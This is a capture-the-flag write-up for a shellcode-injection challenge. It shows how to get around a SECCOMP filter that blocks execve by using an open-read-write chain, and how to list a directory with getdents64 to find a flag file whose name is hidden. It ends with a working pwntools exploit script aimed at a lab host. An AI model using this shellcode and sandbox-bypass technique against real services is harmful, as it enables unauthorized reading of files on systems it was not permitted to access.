TL;DR
Restricted shellcode challenge with bypassable SECCOMP filter via Open-Read-Write (ORW) chain.
Challenge Overview
Coding Test is a simple shellcode injection challenge that allows the user to write to an allocated buffer that is subsequently executed.
However, there are some SECCOMP constraints that we have to bypass.
Constructing ORW Chain
Since execve
and execveat
is blacklisted, making it impossible to spawn a shell, we can instead use an open
> read
> write
(ORW) chain to read file contents from the remote system.
Copy shellcode = asm (shellcraft.linux. open ( "flag.txt" ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_read" , "rax" , "rsp" , 0x 100 ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_write" , 1 , "rsp" , "rax" ))
Looking at the Docker File, the flag name is obscured by appending an MD5 hash. This makes it a little difficult to get the flag by reading the file directly.
Copy FROM ubuntu:22.04
RUN apt-get update -y
RUN apt-get install -y xinetd
RUN apt-get install -y libseccomp-dev
RUN useradd -mU ctf_user
COPY ./coding_test /home/ctf_user/coding_test
COPY ./flag /home/ctf_user/flag
COPY ./xinetd /etc/xinetd.d/ctf_user
RUN chmod 750 /home/ctf_user /home/ctf_user/coding_test
RUN chmod 440 /home/ctf_user/flag
RUN chown -R root:ctf_user /home/ctf_user
RUN md5sum /home/ctf_user/flag | awk '{print $1}' | xargs -I {} mv /home/ctf_user/flag /home/ctf_user/flag_{}
CMD [ "/usr/sbin/xinetd" , "-dontfork" ]
To circumvent this, we can use openat
to get all file names from the current directory:
Copy shellcode = asm (shellcraft. openat ( - 1 , '/home/ctf_user/' ). rstrip ())
shellcode += asm ( '''
mov rdi,rax
xor rdx,rdx
xor rax,rax
mov dx,0x3210
lea rsi,[rsp]
mov al,217
syscall
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 500
syscall
''' )
Afterward, just substitute the value of the file name to read in the ORW chain as follows:
Copy shellcode = asm (shellcraft.linux. open ( "/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c" ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_read" , "rax" , "rsp" , 0x 100 ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_write" , 1 , "rsp" , "rax" ))
Flag: ACS{Y0ur_c0d!ng_skill4_ar3_passabl3!!!!}
Final Script
Copy #!/usr/bin/python3
from pwn import *
exe = "./coding_test"
elf = context . binary = ELF (exe, checksec = False )
context . log_level = 'DEBUG'
context . clear (arch = "amd64" )
warnings . filterwarnings (action = 'ignore' , category = BytesWarning )
io = remote ( "192.168.0.45" , 10137 )
#io = elf.process()
def main ():
# shellcode = asm(shellcraft.openat(-1, '/home/ctf_user/').rstrip())
# shellcode += asm('''
# mov rdi,rax
# xor rdx,rdx
# xor rax,rax
# mov dx,0x3210
# lea rsi,[rsp]
# mov al,217
# syscall
# mov rax, 1
# mov rdi, 1
# mov rsi, rsp
# mov rdx, 500
# syscall
# ''')
shellcode = asm (shellcraft.linux. open ( "/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c" ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_read" , "rax" , "rsp" , 0x 100 ))
shellcode += asm (shellcraft.linux. syscall ( "SYS_write" , 1 , "rsp" , "rax" ))
print (io. recvuntil ( b ': ' ))
io . sendline (shellcode)
print (io. recvall ())
if __name__ == "__main__" :
main ()